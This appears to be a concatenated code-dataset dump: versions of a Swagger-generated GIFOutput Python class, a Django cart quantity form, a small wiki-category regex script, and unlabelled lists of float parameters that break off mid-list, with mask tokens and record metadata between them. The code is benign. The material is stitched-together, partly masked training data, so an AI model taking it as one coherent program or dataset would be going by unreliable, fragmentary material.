Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-5": "# coding: utf-8\n\n\"\"\"\n Idomoo API\n\n\n\n OpenAPI spec version: 2.0\n Contact: [email protected]\n\n\"\"\"\n\n\nimport pprint\n\nimport six\n\n\nclass GIFOutput(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'gif_fps': 'float',\n 'color_depth': 'float',\n 'gif_loop': 'int',\n 'height': 'float',\n 'start': 'float',\n 'duration': 'float',\n 'suffix': 'str',\n 'overlay': 'str',\n 'overlay_alignment': 'list[str]',\n 'overlay_scale': 'str',\n 'label': 'str'\n }\n\n attribute_map = {\n 'gif_fps': 'gif_fps',\n 'color_depth': 'color_depth',\n 'gif_loop': 'gif_loop',\n 'height': 'height',\n 'start': 'start',\n 'duration': 'duration',\n 'suffix': 'suffix',\n 'overlay': 'overlay',\n 'overlay_alignment': 'overlay_alignment',\n 'overlay_scale': 'overlay_scale',\n 'label': 'label'\n }\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None, height=None, start=None, duration=None,\n suffix=None, overlay=None, overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\"Invalid value for `gif_fps`, must be a value less than or equal to `30`\")\n\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\"Invalid value for `gif_loop`, must be a value greater than or equal to `-1`\")\n\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError(\"Invalid value for `height`, must not be `None`\")\n\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError(\"Invalid value for `start`, must not be `None`\")\n\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = [\"left\", \"center\", \"right\", \"top\", \"middle\", \"bottom\"]\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n \"Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]\"\n .format(\", \".join(map(str, set(overlay_alignment) - set(allowed_values))),\n \", \".join(map(str, allowed_values)))\n )\n\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = [\"fit\", \"fill\", \"none\"]\n if overlay_scale not in allowed_values:\n raise ValueError(\n \"Invalid value for `overlay_scale` ({0}), must be one of {1}\"\n .format(overlay_scale, allowed_values)\n )\n\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-ids": [ 27, 28, 29, 31, 33 ] }
[ 27, 28, 29, 31, 33 ]
from django import forms class RemoveProdutoDoCarrinhoForm(forms.Form): class Meta: fields = ('produto_id') produto_id = forms.CharField(widget=forms.HiddenInput()) class QuantidadeForm(forms.Form): class Meta: fields = ('quantidade', 'produto_id') # <input type="hidden" name="produto_id" id="id_produto_id" value="xxx"> produto_id = forms.CharField(widget=forms.HiddenInput()) quantidade = forms.IntegerField( min_value=1, max_value=1000, error_messages={'required': 'Campo obrigatório.', }, widget=forms.TextInput(attrs={'class': 'form-control form-control-sm quantidade', 'maxlength': '20', 'onkeypress': 'return event.charCode >= 48 && event.charCode <= 57'}), required=True)
normal
{ "blob_id": "fd5fca0e9abbb669ddff4d676147acc4344cdd1c", "index": 509, "step-1": "<mask token>\n\n\nclass QuantidadeForm(forms.Form):\n\n\n class Meta:\n fields = 'quantidade', 'produto_id'\n produto_id = forms.CharField(widget=forms.HiddenInput())\n quantidade = forms.IntegerField(min_value=1, max_value=1000,\n error_messages={'required': 'Campo obrigatório.'}, widget=forms.\n TextInput(attrs={'class': 'form-control form-control-sm quantidade',\n 'maxlength': '20', 'onkeypress':\n 'return event.charCode >= 48 && event.charCode <= 57'}), required=True)\n", "step-2": "<mask token>\n\n\nclass RemoveProdutoDoCarrinhoForm(forms.Form):\n\n\n class Meta:\n fields = 'produto_id'\n <mask token>\n\n\nclass QuantidadeForm(forms.Form):\n\n\n class Meta:\n fields = 'quantidade', 'produto_id'\n produto_id = forms.CharField(widget=forms.HiddenInput())\n quantidade = forms.IntegerField(min_value=1, max_value=1000,\n error_messages={'required': 'Campo obrigatório.'}, widget=forms.\n TextInput(attrs={'class': 'form-control form-control-sm quantidade',\n 'maxlength': '20', 'onkeypress':\n 'return event.charCode >= 48 && event.charCode <= 57'}), required=True)\n", "step-3": "<mask token>\n\n\nclass RemoveProdutoDoCarrinhoForm(forms.Form):\n\n\n class Meta:\n fields = 'produto_id'\n produto_id = forms.CharField(widget=forms.HiddenInput())\n\n\nclass QuantidadeForm(forms.Form):\n\n\n class Meta:\n fields = 'quantidade', 'produto_id'\n produto_id = forms.CharField(widget=forms.HiddenInput())\n quantidade = forms.IntegerField(min_value=1, max_value=1000,\n error_messages={'required': 'Campo obrigatório.'}, widget=forms.\n TextInput(attrs={'class': 'form-control form-control-sm quantidade',\n 'maxlength': '20', 'onkeypress':\n 'return event.charCode >= 48 && event.charCode <= 57'}), required=True)\n", "step-4": "from django import forms\n\n\nclass RemoveProdutoDoCarrinhoForm(forms.Form):\n\n\n class Meta:\n fields = 'produto_id'\n produto_id = forms.CharField(widget=forms.HiddenInput())\n\n\nclass QuantidadeForm(forms.Form):\n\n\n class Meta:\n fields = 'quantidade', 'produto_id'\n produto_id = forms.CharField(widget=forms.HiddenInput())\n quantidade = forms.IntegerField(min_value=1, max_value=1000,\n error_messages={'required': 'Campo obrigatório.'}, widget=forms.\n TextInput(attrs={'class': 'form-control form-control-sm quantidade',\n 'maxlength': '20', 'onkeypress':\n 'return event.charCode >= 48 && event.charCode <= 57'}), required=True)\n", "step-5": "from django import forms\n\nclass RemoveProdutoDoCarrinhoForm(forms.Form):\n class Meta:\n fields = ('produto_id')\n\n produto_id = forms.CharField(widget=forms.HiddenInput())\n\nclass QuantidadeForm(forms.Form):\n class Meta:\n fields = ('quantidade', 'produto_id')\n\n # <input type=\"hidden\" name=\"produto_id\" id=\"id_produto_id\" value=\"xxx\">\n produto_id = forms.CharField(widget=forms.HiddenInput())\n\n quantidade = forms.IntegerField(\n min_value=1,\n max_value=1000,\n error_messages={'required': 'Campo obrigatório.', },\n widget=forms.TextInput(attrs={'class': 'form-control form-control-sm quantidade',\n 'maxlength': '20',\n 'onkeypress': 'return event.charCode >= 48 && event.charCode <= 57'}),\n required=True)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
#!usr/bin/python #--*--coding:utf-8--*-- import sys import re if __name__ == '__main__': category = re.compile('\[\[Category\:.*\]\]')#.は改行以外の任意の文字列にマッチ for line in open(sys.argv[1]): if category.search(line) is not None:#比較にはisを用いなければならない print line.strip()
normal
{ "blob_id": "14b6dc403be76abef5fde2cca5d773c88faa4b40", "index": 6083, "step-1": "#!usr/bin/python\n#--*--coding:utf-8--*--\n\nimport sys\nimport re\n\nif __name__ == '__main__':\n category = re.compile('\\[\\[Category\\:.*\\]\\]')#.は改行以外の任意の文字列にマッチ\n for line in open(sys.argv[1]):\n if category.search(line) is not None:#比較にはisを用いなければならない\n print line.strip()", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
one=[7.236287049225701e-06, -1.445911565527231e-12, -1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10, -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10, 135323228000.64511, 130464457208.5385] two=[6.101651991514008e-06, -1.2764740103418866e-12, -1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05, -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10, 194360719320.3122, 75684271432.82758] three=[6.4442734160126695e-06, -1.2463732938819767e-12, -1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, 40874176708.45886, 129961018217.7445] four=[5.591985036569838e-06, -1.5732644861037622e-12, -1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10, 95538034865.65512, 192689393537.75766] five=[5.9877501684316964e-06, -1.4725222964411265e-12, -2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10, 172629547544.72174, 121012464101.10771] six = [6.525636151737385e-10, -1.5516831882387681e-12, -1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10, -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497686e-05, -1.9757021060346726e-06, -1.5031696163247858e-08, 8.945619840357268e-10, 99871865434.22476, 123933224114.80229] first1_gen= [[6.417695307686038e-06, -1.2416886913890308e-12, -1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10, 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11, -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08, 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13, 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10, -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05, -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10, 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11, -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16, 2.2287538734129395e-05, -1.8740196054647742e-06, -1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10, -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05, -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10, 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16, 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08, 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [6.4442734160126695e-06, -1.5732644861037622e-12, -1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10, 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11, -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16, 2.7105518268805634e-05, -1.9663482803776534e-06, -1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10, -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05, -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10, 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11, -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16, 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13, 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15, 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, 1374938673042.5493, 4524615824537.332], [5.6149092148265474e-06, -1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, -2.335516269047763e-10, -2.1416544930348844e-15, 3.3108330528832777e-16, 2.22837679272578e-05, -1.8681878215606722e-06, -1.528899727808779e-08, 8.573199342562181e-10, 1914602582873.603, 2013877892656.268], [6.101651991514008e-06, -1.5833077943313046e-12, -1.9703439809858206e-13, 5.500949944067544e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.970517711660123e-05, -1.8738366196528042e-06, -1.522166132952199e-08, 9.123763139194573e-10, 3105022967535.493, 7589715261899.736], [7.169307360099383e-06, -1.475336624504327e-12, -2.0167346748799746e-13, 4.53859215469466e-11, -2.1795530264429259e-10, -1.209364174087727e-15, 3.179525403817121e-16, 2.248948490803903e-05, -1.9732992714201345e-06, -1.4769695480936238e-08, 8.472670825115021e-10, 3105580314530.341, 4622017117439.275]] second1_gen= [[6.473615077297489e-06, -1.2416886913890308e-12, -1.7473505716030156e-13, 3.966285637236728e-11, -7.243488055496258e-11, -1.1645955168783485e-15, 3.1918479761370934e-16, 2.7255618460061466e-05, -1.912188850787629e-06, -1.6430064111592607e-08, 8.970550453733459e-10, 35685411688.23251, 231044368946.34586], [6.393923513974502e-06, -1.2418411778899226e-12, -1.7798884315456173e-13, 3.983180616117193e-11, -7.243742739542879e-11, -1.128236668058653e-15, 3.855466000081844e-16, 2.7200371659468664e-05, -1.9285560276423494e-06, -1.636514926725132e-08, 9.071692193685023e-10, 57865021002.9106, 360571654391.1672], [7.230454358781939e-06, -1.423600316370741e-12, -1.7526876652912844e-13, 5.484412599476033e-11, -7.222102668803471e-11, -1.1795054510279537e-15, 3.642469974043324e-16, 2.4721354631465055e-05, -1.7738362153245365e-06, -1.6042437181983083e-08, 8.601004856702239e-10, 60788722272.11295, 440230270157.01904], [6.435449388867622e-06, -1.2416886913890308e-12, -1.807074860305897e-13, 5.4624696474782334e-11, -7.299561923303083e-11, -1.1155657493946243e-15, 3.855466000081844e-16, 2.4639345261867096e-05, -1.92912357850029e-06, -1.4800406168095671e-08, 9.011563904603084e-10, 90541420172.20418, 503189560104.03455], [6.417695307686038e-06, -1.2339817339229541e-12, -1.7924803979756243e-13, 5.5902899343682586e-11, -7.217875877484109e-11, -1.120826019773443e-15, 3.8364837768074985e-16, 2.2074405673546407e-05, -1.904212437644655e-06, -1.509791791618086e-08, 8.960324081400173e-10, 91138056935.866, 156256693553.4698], [7.235432436183002e-06, -1.444519147741974e-12, -1.7273464723057338e-13, 5.517809418856912e-11, -2.5310572250093563e-10, -1.1658376910672744e-15, 3.3048095015500005e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4777953862585708e-08, 8.945619840357268e-10, 98015149423.40909, 125389712442.99564], [6.382295596647026e-06, -1.5683042319109065e-12, -1.271182130914441e-13, 3.9709881372590666e-11, -2.3411267641257417e-10, -1.1298867172210502e-15, 3.273827033054119e-16, 2.71828464025051e-05, -1.86879521538149e-06, -1.6615697675064263e-08, 8.938783145101195e-10, 108132988244.55444, 600937075323.7117], [7.3000149385339486e-06, -1.4649443926376347e-12, -1.740251215699652e-13, 5.5040821609381877e-11, -2.5448794058714256e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.492985953688089e-05, -1.95260325957056e-06, -1.4879723555310096e-08, 8.886352647229086e-10, 118040637271.1665, 119637343045.177], [5.595995170722691e-06, -1.5775800984465949e-12, -1.2531378473105398e-13, 5.5737478708430025e-11, -2.359264703422783e-10, -2.141274549861917e-15, 3.2670998922499434e-16, 2.2375793269713536e-05, -1.8912926681237391e-06, -1.5244852134327217e-08, 9.114608510796109e-10, 193706809398.06177, 145429438824.56485], [6.417695307686038e-06, -1.2390179448049186e-12, -2.0184675219747084e-13, 3.996761820973954e-11, -7.30077645678233e-11, -1.0733818300903034e-15, 3.6521589033170274e-16, 2.7380751148035565e-05, -1.901967051200766e-06, -1.6531476837456585e-08, 8.659462633971021e-10, 291714681643.4888, 219358626907.00577], [7.269087955666727e-06, -1.4398732474157131e-12, -1.745771866624504e-13, 5.5370858680922966e-11, -2.5212090845365535e-10, -1.1547640084684547e-15, 3.1826570991307717e-16, 2.4799848604697875e-05, -1.9802449310363633e-06, -1.4932011828861567e-08, 8.916225586049855e-10, 291814703950.912, 265497905413.09335], [5.9575073045674184e-06, -1.4591405170404072e-12, -1.7515686156504634e-13, 5.071091939607585e-11, -7.251972289899038e-11, -1.172163868062928e-15, 3.2003450301868095e-16, 2.236559796692659e-05, -1.964000257622103e-06, -1.461000086726312e-08, 8.924031273079037e-10, 441351014961.37744, 513124822279.29816], [7.118156558728498e-06, -1.4213484509322684e-12, -1.7594919642528414e-13, 5.502275447498347e-11, -2.359264703422783e-10, -2.146866081339977e-15, 3.3020925008057705e-16, 2.48800717576552e-05, -1.8740196054647742e-06, -1.4681760148497176e-08, 9.194043116452982e-10, 480601682287.2741, 2166349399584.3464], [6.435379358296727e-06, -1.449279705541305e-12, -1.791907685050265e-13, 4.013727926643595e-11, -2.561628978573389e-10, -1.1658376910672744e-15, 3.1916771926698506e-16, 2.706170262409588e-05, -1.9747493962051268e-06, -1.6529378614728517e-08, 8.945619840357268e-10, 480690251628.6576, 455217335045.56067], [7.273965294010602e-06, -1.4508582334938624e-12, -1.2640181562203036e-13, 5.1256890020829106e-11, -2.347526011960417e-10, -1.1573810914157072e-15, 3.313802025100971e-16, 2.5248996663846427e-05, -1.8890715225154116e-06, -1.4830513494585048e-08, 9.024560997678787e-10, 513022508534.7746, 1741282758378.8208], [7.171513003462397e-06, -1.4334443716578728e-12, -1.258745292341622e-13, 5.562080442549079e-11, -2.5310572250093563e-10, -2.177369178159867e-15, 3.269368594462498e-16, 2.5052523082312023e-05, -1.9593459141604013e-06, -1.4665768665138152e-08, 8.920318373308913e-10, 559251400205.1976, 313686240874.89294]] third1_gen= [[6.428534934734018e-06, -1.2348251959432863e-12, -1.767418187059626e-13, 3.954772029523348e-11, -7.292041892016764e-11, -1.1216042005993232e-15, 3.8462974452187554e-16, 2.732021800880368e-05, -1.912188850787629e-06, -1.6465861899672315e-08, 8.953663972360121e-10, 35914970214.05617, 208658422545.5101], [6.449609175276781e-06, -1.2355212093166627e-12, -1.7892996139776768e-13, 3.978108705811362e-11, -7.260470610345522e-11, -1.128236668058653e-15, 3.8262320992212617e-16, 2.699492740612888e-05, -1.9285560276423494e-06, -1.6459368248390354e-08, 9.071692193685023e-10, 37667755025.66565, 260591174431.75333], [6.393923513974502e-06, -1.2329510175057565e-12, -1.7878217157136278e-13, 4.009121098742944e-11, -7.243742739542879e-11, -1.119215448440791e-15, 3.855466000081844e-16, 2.7170577516281446e-05, -1.946180426984478e-06, -1.6356719885598995e-08, 9.071692193685023e-10, 41822657912.61174, 187148082730.9518], [6.393923513974502e-06, -1.2418411778899226e-12, -1.7764720872488035e-13, 5.5839617178535e-11, -7.217875877484109e-11, -1.1285205693786809e-15, 3.8241419562917457e-16, 2.727322263242888e-05, -1.9285560276423494e-06, -1.6299569164241514e-08, 8.954758973117168e-10, 